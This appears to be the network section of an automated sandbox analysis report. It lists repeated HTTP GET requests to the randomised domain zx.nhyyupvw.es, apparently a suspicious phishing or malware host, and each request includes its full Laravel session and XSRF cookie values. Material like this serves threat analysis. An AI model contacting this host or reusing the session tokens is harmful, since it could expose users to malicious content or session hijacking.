Source: global traffic	HTTP traffic detected: GET /mnWgRjpYOJyJPaVixj6G8TZSpy1PP56btk9tvJb1TP2OyPI6KN5eX2RuzWuv220 HTTP/1.1Host: zx.nhyyupvw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InMzSGI1aC9RTHQweHBJb0FWNmc5K2c9PSIsInZhbHVlIjoidVBQNnNQOTJwZlBVdnZPRXNaUFNrMHFSZ3c4M0tSTXRnUCthdFdLQjVYQWhQYXRJdWFIMTlrcjl6Zmptd3c1UmJDdS9hTkU1MVlIUkJzVEhDdURHam1DUjlLTGtFU01XWVZld1MyY3psMCtUV1hxVUxFTi9TeHd6STRsc3ZjYkkiLCJtYWMiOiI2NzUxY2JhNDg0YjVjMGI5MWI1MzExMTRjNDAzMWQyZDc3ZGE4MTY2N2MzNDU5MWE1NmQwOGFiYWJjMGJhNTQyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjQwcmNIczFqOGp3UUpHaHg4UEFZc3c9PSIsInZhbHVlIjoiQW9NOWZCbnVqVGxWdGN3clRiMEU4ZlJEK0pFbVltRzhWWFlQMG1IOUQxZ2l6b0QzYXF3TEU0MjFZZU9ZSmdTUkhQWFVFK2RCSHJicHo0VDJaYUtuSTRJK1lnMUd4SUUvVzRBNmU2dmloeXZVNlNOL2p1VHBMdWU4ZWg4TmpHMEYiLCJtYWMiOiI4NDg2YWU3MmUzZGZlZWQwZjRjN2Y4NThiNmQ0NjI4OWZjZjhjMTllMzdiNjAzMmIwMmUxMjU5NzJiZjY3MGMxIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /wxj9FvgfYrm0DCkU7R3E0ZVRtwZjLNORj7eVrsYuG3bg6DT6IOZl4ab180 HTTP/1.1Host: zx.nhyyupvw.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://zx.nhyyupvw.es/pdkcvlronxtgkemeqadrwzkcff7yvxa9i0gsvl?DNSVBYQMUSRSVJAZGBHRZHFOEVAVEJAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InNSRktVTmZTaVlKc2VDWDl5L0VpMUE9PSIsInZhbHVlIjoiaDdocmRqdnQxUEMxQWdJRWMwS1g3ZHZvZjhGQmQ0WEgrYklPczAxbmZSenAyQmUvaXZIMFBBRjczR0VuVmd0S2dWR3B6ODVFZWtab295QzNwU0tINlh1eFUzS1lHMG8wN3FNRndRVFlkbllZY1VDamVsdzlTWnFxM3ZoR2l6cVIiLCJtYWMiOiI0NmI4M2JkNjU3NGMyYWY5ZGQxNGE4MTdmNGM1YTRlYWI1OWZkOTc1MWE5MDQwYWM1MzQ2Y2YxNzE5YjMyZDY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlVseVRNa09UMXVsMklJZ2orM0NHdmc9PSIsInZhbHVlIjoiUDdVeEQ2ZExyUCt4WnNVNkc5d2swYkNSNU1TeFBNQjFldFlnRlplUlQ4VDh0eWx0eG54aXZHakgydnpzK0JKWU1OeUYvVU0ycENQOHlDMnVya1cvUFg1ODZhY24wa2x0bTFIYStLRU9YVSt6di9yZDV6UlI3RllPT2swekROSSsiLCJtYWMiOiJlYTE3NjUzOWMwOTYxMTcyMmFmN2FkOTA3YWFlZjBmYmJhMjhmMTIxMzQ2YzIyYjBhZDQzY2U0Y2FmNTBmMWIzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /rsWAxWeBNXIvEGMH6jGgTCNnXijD8Aym4Hc8ItMyGWAnmYYUNDLef197 HTTP/1.1Host: zx.nhyyupvw.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://zx.nhyyupvw.es/pdkcvlronxtgkemeqadrwzkcff7yvxa9i0gsvl?DNSVBYQMUSRSVJAZGBHRZHFOEVAVEJAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InMzSGI1aC9RTHQweHBJb0FWNmc5K2c9PSIsInZhbHVlIjoidVBQNnNQOTJwZlBVdnZPRXNaUFNrMHFSZ3c4M0tSTXRnUCthdFdLQjVYQWhQYXRJdWFIMTlrcjl6Zmptd3c1UmJDdS9hTkU1MVlIUkJzVEhDdURHam1DUjlLTGtFU01XWVZld1MyY3psMCtUV1hxVUxFTi9TeHd6STRsc3ZjYkkiLCJtYWMiOiI2NzUxY2JhNDg0YjVjMGI5MWI1MzExMTRjNDAzMWQyZDc3ZGE4MTY2N2MzNDU5MWE1NmQwOGFiYWJjMGJhNTQyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjQwcmNIczFqOGp3UUpHaHg4UEFZc3c9PSIsInZhbHVlIjoiQW9NOWZCbnVqVGxWdGN3clRiMEU4ZlJEK0pFbVltRzhWWFlQMG1IOUQxZ2l6b0QzYXF3TEU0MjFZZU9ZSmdTUkhQWFVFK2RCSHJicHo0VDJaYUtuSTRJK1lnMUd4SUUvVzRBNmU2dmloeXZVNlNOL2p1VHBMdWU4ZWg4TmpHMEYiLCJtYWMiOiI4NDg2YWU3MmUzZGZlZWQwZjRjN2Y4NThiNmQ0NjI4OWZjZjhjMTllMzdiNjAzMmIwMmUxMjU5NzJiZjY3MGMxIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /klHLUe0uNCmZ3iuCGFVX5eHyTols89Xa4wAuEJvwbmUFuenZcyz230 HTTP/1.1Host: zx.nhyyupvw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InMzSGI1aC9RTHQweHBJb0FWNmc5K2c9PSIsInZhbHVlIjoidVBQNnNQOTJwZlBVdnZPRXNaUFNrMHFSZ3c4M0tSTXRnUCthdFdLQjVYQWhQYXRJdWFIMTlrcjl6Zmptd3c1UmJDdS9hTkU1MVlIUkJzVEhDdURHam1DUjlLTGtFU01XWVZld1MyY3psMCtUV1hxVUxFTi9TeHd6STRsc3ZjYkkiLCJtYWMiOiI2NzUxY2JhNDg0YjVjMGI5MWI1MzExMTRjNDAzMWQyZDc3ZGE4MTY2N2MzNDU5MWE1NmQwOGFiYWJjMGJhNTQyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjQwcmNIczFqOGp3UUpHaHg4UEFZc3c9PSIsInZhbHVlIjoiQW9NOWZCbnVqVGxWdGN3clRiMEU4ZlJEK0pFbVltRzhWWFlQMG1IOUQxZ2l6b0QzYXF3TEU0MjFZZU9ZSmdTUkhQWFVFK2RCSHJicHo0VDJaYUtuSTRJK1lnMUd4SUUvVzRBNmU2dmloeXZVNlNOL2p1VHBMdWU4ZWg4TmpHMEYiLCJtYWMiOiI4NDg2YWU3MmUzZGZlZWQwZjRjN2Y4NThiNmQ0NjI4OWZjZjhjMTllMzdiNjAzMmIwMmUxMjU5NzJiZjY3MGMxIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /oppIsj6CcZlBQupeRL6gh0ZlxRc7NGW5P5867139 HTTP/1.1Host: zx.nhyyupvw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InMzSGI1aC9RTHQweHBJb0FWNmc5K2c9PSIsInZhbHVlIjoidVBQNnNQOTJwZlBVdnZPRXNaUFNrMHFSZ3c4M0tSTXRnUCthdFdLQjVYQWhQYXRJdWFIMTlrcjl6Zmptd3c1UmJDdS9hTkU1MVlIUkJzVEhDdURHam1DUjlLTGtFU01XWVZld1MyY3psMCtUV1hxVUxFTi9TeHd6STRsc3ZjYkkiLCJtYWMiOiI2NzUxY2JhNDg0YjVjMGI5MWI1MzExMTRjNDAzMWQyZDc3ZGE4MTY2N2MzNDU5MWE1NmQwOGFiYWJjMGJhNTQyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjQwcmNIczFqOGp3UUpHaHg4UEFZc3c9PSIsInZhbHVlIjoiQW9NOWZCbnVqVGxWdGN3clRiMEU4ZlJEK0pFbVltRzhWWFlQMG1IOUQxZ2l6b0QzYXF3TEU0MjFZZU9ZSmdTUkhQWFVFK2RCSHJicHo0VDJaYUtuSTRJK1lnMUd4SUUvVzRBNmU2dmloeXZVNlNOL2p1VHBMdWU4ZWg4TmpHMEYiLCJtYWMiOiI4NDg2YWU3MmUzZGZlZWQwZjRjN2Y4NThiNmQ0NjI4OWZjZjhjMTllMzdiNjAzMmIwMmUxMjU5NzJiZjY3MGMxIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijYJTr8KLYS96poFBZtBndQAqklh4RLrK8fzeBXYQWWgR0SeNv12210 HTTP/1.1Host: zx.nhyyupvw.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://zx.nhyyupvw.es/pdkcvlronxtgkemeqadrwzkcff7yvxa9i0gsvl?DNSVBYQMUSRSVJAZGBHRZHFOEVAVEJAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InMzSGI1aC9RTHQweHBJb0FWNmc5K2c9PSIsInZhbHVlIjoidVBQNnNQOTJwZlBVdnZPRXNaUFNrMHFSZ3c4M0tSTXRnUCthdFdLQjVYQWhQYXRJdWFIMTlrcjl6Zmptd3c1UmJDdS9hTkU1MVlIUkJzVEhDdURHam1DUjlLTGtFU01XWVZld1MyY3psMCtUV1hxVUxFTi9TeHd6STRsc3ZjYkkiLCJtYWMiOiI2NzUxY2JhNDg0YjVjMGI5MWI1MzExMTRjNDAzMWQyZDc3ZGE4MTY2N2MzNDU5MWE1NmQwOGFiYWJjMGJhNTQyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjQwcmNIczFqOGp3UUpHaHg4UEFZc3c9PSIsInZhbHVlIjoiQW9NOWZCbnVqVGxWdGN3clRiMEU4ZlJEK0pFbVltRzhWWFlQMG1IOUQxZ2l6b0QzYXF3TEU0MjFZZU9ZSmdTUkhQWFVFK2RCSHJicHo0VDJaYUtuSTRJK1lnMUd4SUUvVzRBNmU2dmloeXZVNlNOL2p1VHBMdWU4ZWg4TmpHMEYiLCJtYWMiOiI4NDg2YWU3MmUzZGZlZWQwZjRjN2Y4NThiNmQ0NjI4OWZjZjhjMTllMzdiNjAzMmIwMmUxMjU5NzJiZjY3MGMxIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /efhlPkmcsNf53p8AYXnleVbkhPZE3mijqeDQ4E5l6akrwoDtg78150 HTTP/1.1Host: zx.nhyyupvw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InMzSGI1aC9RTHQweHBJb0FWNmc5K2c9PSIsInZhbHVlIjoidVBQNnNQOTJwZlBVdnZPRXNaUFNrMHFSZ3c4M0tSTXRnUCthdFdLQjVYQWhQYXRJdWFIMTlrcjl6Zmptd3c1UmJDdS9hTkU1MVlIUkJzVEhDdURHam1DUjlLTGtFU01XWVZld1MyY3psMCtUV1hxVUxFTi9TeHd6STRsc3ZjYkkiLCJtYWMiOiI2NzUxY2JhNDg0YjVjMGI5MWI1MzExMTRjNDAzMWQyZDc3ZGE4MTY2N2MzNDU5MWE1NmQwOGFiYWJjMGJhNTQyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjQwcmNIczFqOGp3UUpHaHg4UEFZc3c9PSIsInZhbHVlIjoiQW9NOWZCbnVqVGxWdGN3clRiMEU4ZlJEK0pFbVltRzhWWFlQMG1IOUQxZ2l6b0QzYXF3TEU0MjFZZU9ZSmdTUkhQWFVFK2RCSHJicHo0VDJaYUtuSTRJK1lnMUd4SUUvVzRBNmU2dmloeXZVNlNOL2p1VHBMdWU4ZWg4TmpHMEYiLCJtYWMiOiI4NDg2YWU3MmUzZGZlZWQwZjRjN2Y4NThiNmQ0NjI4OWZjZjhjMTllMzdiNjAzMmIwMmUxMjU5NzJiZjY3MGMxIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /oppMeZe0xvbpg08Hkdpz3gUyV2x131F1yJ3tz12n4dDIs3UILrbR3Q2anToWOKLMkHGWseXyHHWQQcd231 HTTP/1.1Host: zx.nhyyupvw.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://zx.nhyyupvw.es/pdkcvlronxtgkemeqadrwzkcff7yvxa9i0gsvl?DNSVBYQMUSRSVJAZGBHRZHFOEVAVEJAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InMzSGI1aC9RTHQweHBJb0FWNmc5K2c9PSIsInZhbHVlIjoidVBQNnNQOTJwZlBVdnZPRXNaUFNrMHFSZ3c4M0tSTXRnUCthdFdLQjVYQWhQYXRJdWFIMTlrcjl6Zmptd3c1UmJDdS9hTkU1MVlIUkJzVEhDdURHam1DUjlLTGtFU01XWVZld1MyY3psMCtUV1hxVUxFTi9TeHd6STRsc3ZjYkkiLCJtYWMiOiI2NzUxY2JhNDg0YjVjMGI5MWI1MzExMTRjNDAzMWQyZDc3ZGE4MTY2N2MzNDU5MWE1NmQwOGFiYWJjMGJhNTQyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjQwcmNIczFqOGp3UUpHaHg4UEFZc3c9PSIsInZhbHVlIjoiQW9NOWZCbnVqVGxWdGN3clRiMEU4ZlJEK0pFbVltRzhWWFlQMG1IOUQxZ2l6b0QzYXF3TEU0MjFZZU9ZSmdTUkhQWFVFK2RCSHJicHo0VDJaYUtuSTRJK1lnMUd4SUUvVzRBNmU2dmloeXZVNlNOL2p1VHBMdWU4ZWg4TmpHMEYiLCJtYWMiOiI4NDg2YWU3MmUzZGZlZWQwZjRjN2Y4NThiNmQ0NjI4OWZjZjhjMTllMzdiNjAzMmIwMmUxMjU5NzJiZjY3MGMxIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /uvtgW0ZFM2nrSttk0VJtBHvlCjE67N9mBGr8ARYjXYb05zuuN6dL1VHDyJomPWZCm9gh260 HTTP/1.1Host: zx.nhyyupvw.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://zx.nhyyupvw.es/pdkcvlronxtgkemeqadrwzkcff7yvxa9i0gsvl?DNSVBYQMUSRSVJAZGBHRZHFOEVAVEJAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InMzSGI1aC9RTHQweHBJb0FWNmc5K2c9PSIsInZhbHVlIjoidVBQNnNQOTJwZlBVdnZPRXNaUFNrMHFSZ3c4M0tSTXRnUCthdFdLQjVYQWhQYXRJdWFIMTlrcjl6Zmptd3c1UmJDdS9hTkU1MVlIUkJzVEhDdURHam1DUjlLTGtFU01XWVZld1MyY3psMCtUV1hxVUxFTi9TeHd6STRsc3ZjYkkiLCJtYWMiOiI2NzUxY2JhNDg0YjVjMGI5MWI1MzExMTRjNDAzMWQyZDc3ZGE4MTY2N2MzNDU5MWE1NmQwOGFiYWJjMGJhNTQyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjQwcmNIczFqOGp3UUpHaHg4UEFZc3c9PSIsInZhbHVlIjoiQW9NOWZCbnVqVGxWdGN3clRiMEU4ZlJEK0pFbVltRzhWWFlQMG1IOUQxZ2l6b0QzYXF3TEU0MjFZZU9ZSmdTUkhQWFVFK2RCSHJicHo0VDJaYUtuSTRJK1lnMUd4SUUvVzRBNmU2dmloeXZVNlNOL2p1VHBMdWU4ZWg4TmpHMEYiLCJtYWMiOiI4NDg2YWU3MmUzZGZlZWQwZjRjN2Y4NThiNmQ0NjI4OWZjZjhjMTllMzdiNjAzMmIwMmUxMjU5NzJiZjY3MGMxIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /rsWAxWeBNXIvEGMH6jGgTCNnXijD8Aym4Hc8ItMyGWAnmYYUNDLef197 HTTP/1.1Host: zx.nhyyupvw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InMzSGI1aC9RTHQweHBJb0FWNmc5K2c9PSIsInZhbHVlIjoidVBQNnNQOTJwZlBVdnZPRXNaUFNrMHFSZ3c4M0tSTXRnUCthdFdLQjVYQWhQYXRJdWFIMTlrcjl6Zmptd3c1UmJDdS9hTkU1MVlIUkJzVEhDdURHam1DUjlLTGtFU01XWVZld1MyY3psMCtUV1hxVUxFTi9TeHd6STRsc3ZjYkkiLCJtYWMiOiI2NzUxY2JhNDg0YjVjMGI5MWI1MzExMTRjNDAzMWQyZDc3ZGE4MTY2N2MzNDU5MWE1NmQwOGFiYWJjMGJhNTQyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjQwcmNIczFqOGp3UUpHaHg4UEFZc3c9PSIsInZhbHVlIjoiQW9NOWZCbnVqVGxWdGN3clRiMEU4ZlJEK0pFbVltRzhWWFlQMG1IOUQxZ2l6b0QzYXF3TEU0MjFZZU9ZSmdTUkhQWFVFK2RCSHJicHo0VDJaYUtuSTRJK1lnMUd4SUUvVzRBNmU2dmloeXZVNlNOL2p1VHBMdWU4ZWg4TmpHMEYiLCJtYWMiOiI4NDg2YWU3MmUzZGZlZWQwZjRjN2Y4NThiNmQ0NjI4OWZjZjhjMTllMzdiNjAzMmIwMmUxMjU5NzJiZjY3MGMxIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /wxj9FvgfYrm0DCkU7R3E0ZVRtwZjLNORj7eVrsYuG3bg6DT6IOZl4ab180 HTTP/1.1Host: zx.nhyyupvw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InMzSGI1aC9RTHQweHBJb0FWNmc5K2c9PSIsInZhbHVlIjoidVBQNnNQOTJwZlBVdnZPRXNaUFNrMHFSZ3c4M0tSTXRnUCthdFdLQjVYQWhQYXRJdWFIMTlrcjl6Zmptd3c1UmJDdS9hTkU1MVlIUkJzVEhDdURHam1DUjlLTGtFU01XWVZld1MyY3psMCtUV1hxVUxFTi9TeHd6STRsc3ZjYkkiLCJtYWMiOiI2NzUxY2JhNDg0YjVjMGI5MWI1MzExMTRjNDAzMWQyZDc3ZGE4MTY2N2MzNDU5MWE1NmQwOGFiYWJjMGJhNTQyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjQwcmNIczFqOGp3UUpHaHg4UEFZc3c9PSIsInZhbHVlIjoiQW9NOWZCbnVqVGxWdGN3clRiMEU4ZlJEK0pFbVltRzhWWFlQMG1IOUQxZ2l6b0QzYXF3TEU0MjFZZU9ZSmdTUkhQWFVFK2RCSHJicHo0VDJaYUtuSTRJK1lnMUd4SUUvVzRBNmU2dmloeXZVNlNOL2p1VHBMdWU4ZWg4TmpHMEYiLCJtYWMiOiI4NDg2YWU3MmUzZGZlZWQwZjRjN2Y4NThiNmQ0NjI4OWZjZjhjMTllMzdiNjAzMmIwMmUxMjU5NzJiZjY3MGMxIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /kloXcVD2ghFxffj3wxjV8yzwfoHITvW15BXn78170 HTTP/1.1Host: zx.nhyyupvw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InMzSGI1aC9RTHQweHBJb0FWNmc5K2c9PSIsInZhbHVlIjoidVBQNnNQOTJwZlBVdnZPRXNaUFNrMHFSZ3c4M0tSTXRnUCthdFdLQjVYQWhQYXRJdWFIMTlrcjl6Zmptd3c1UmJDdS9hTkU1MVlIUkJzVEhDdURHam1DUjlLTGtFU01XWVZld1MyY3psMCtUV1hxVUxFTi9TeHd6STRsc3ZjYkkiLCJtYWMiOiI2NzUxY2JhNDg0YjVjMGI5MWI1MzExMTRjNDAzMWQyZDc3ZGE4MTY2N2MzNDU5MWE1NmQwOGFiYWJjMGJhNTQyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjQwcmNIczFqOGp3UUpHaHg4UEFZc3c9PSIsInZhbHVlIjoiQW9NOWZCbnVqVGxWdGN3clRiMEU4ZlJEK0pFbVltRzhWWFlQMG1IOUQxZ2l6b0QzYXF3TEU0MjFZZU9ZSmdTUkhQWFVFK2RCSHJicHo0VDJaYUtuSTRJK1lnMUd4SUUvVzRBNmU2dmloeXZVNlNOL2p1VHBMdWU4ZWg4TmpHMEYiLCJtYWMiOiI4NDg2YWU3MmUzZGZlZWQwZjRjN2Y4NThiNmQ0NjI4OWZjZjhjMTllMzdiNjAzMmIwMmUxMjU5NzJiZjY3MGMxIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijYJTr8KLYS96poFBZtBndQAqklh4RLrK8fzeBXYQWWgR0SeNv12210 HTTP/1.1Host: zx.nhyyupvw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InMzSGI1aC9RTHQweHBJb0FWNmc5K2c9PSIsInZhbHVlIjoidVBQNnNQOTJwZlBVdnZPRXNaUFNrMHFSZ3c4M0tSTXRnUCthdFdLQjVYQWhQYXRJdWFIMTlrcjl6Zmptd3c1UmJDdS9hTkU1MVlIUkJzVEhDdURHam1DUjlLTGtFU01XWVZld1MyY3psMCtUV1hxVUxFTi9TeHd6STRsc3ZjYkkiLCJtYWMiOiI2NzUxY2JhNDg0YjVjMGI5MWI1MzExMTRjNDAzMWQyZDc3ZGE4MTY2N2MzNDU5MWE1NmQwOGFiYWJjMGJhNTQyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjQwcmNIczFqOGp3UUpHaHg4UEFZc3c9PSIsInZhbHVlIjoiQW9NOWZCbnVqVGxWdGN3clRiMEU4ZlJEK0pFbVltRzhWWFlQMG1IOUQxZ2l6b0QzYXF3TEU0MjFZZU9ZSmdTUkhQWFVFK2RCSHJicHo0VDJaYUtuSTRJK1lnMUd4SUUvVzRBNmU2dmloeXZVNlNOL2p1VHBMdWU4ZWg4TmpHMEYiLCJtYWMiOiI4NDg2YWU3MmUzZGZlZWQwZjRjN2Y4NThiNmQ0NjI4OWZjZjhjMTllMzdiNjAzMmIwMmUxMjU5NzJiZjY3MGMxIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /oppMeZe0xvbpg08Hkdpz3gUyV2x131F1yJ3tz12n4dDIs3UILrbR3Q2anToWOKLMkHGWseXyHHWQQcd231 HTTP/1.1Host: zx.nhyyupvw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InMzSGI1aC9RTHQweHBJb0FWNmc5K2c9PSIsInZhbHVlIjoidVBQNnNQOTJwZlBVdnZPRXNaUFNrMHFSZ3c4M0tSTXRnUCthdFdLQjVYQWhQYXRJdWFIMTlrcjl6Zmptd3c1UmJDdS9hTkU1MVlIUkJzVEhDdURHam1DUjlLTGtFU01XWVZld1MyY3psMCtUV1hxVUxFTi9TeHd6STRsc3ZjYkkiLCJtYWMiOiI2NzUxY2JhNDg0YjVjMGI5MWI1MzExMTRjNDAzMWQyZDc3ZGE4MTY2N2MzNDU5MWE1NmQwOGFiYWJjMGJhNTQyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjQwcmNIczFqOGp3UUpHaHg4UEFZc3c9PSIsInZhbHVlIjoiQW9NOWZCbnVqVGxWdGN3clRiMEU4ZlJEK0pFbVltRzhWWFlQMG1IOUQxZ2l6b0QzYXF3TEU0MjFZZU9ZSmdTUkhQWFVFK2RCSHJicHo0VDJaYUtuSTRJK1lnMUd4SUUvVzRBNmU2dmloeXZVNlNOL2p1VHBMdWU4ZWg4TmpHMEYiLCJtYWMiOiI4NDg2YWU3MmUzZGZlZWQwZjRjN2Y4NThiNmQ0NjI4OWZjZjhjMTllMzdiNjAzMmIwMmUxMjU5NzJiZjY3MGMxIiwidGFnIjoiIn0%3D
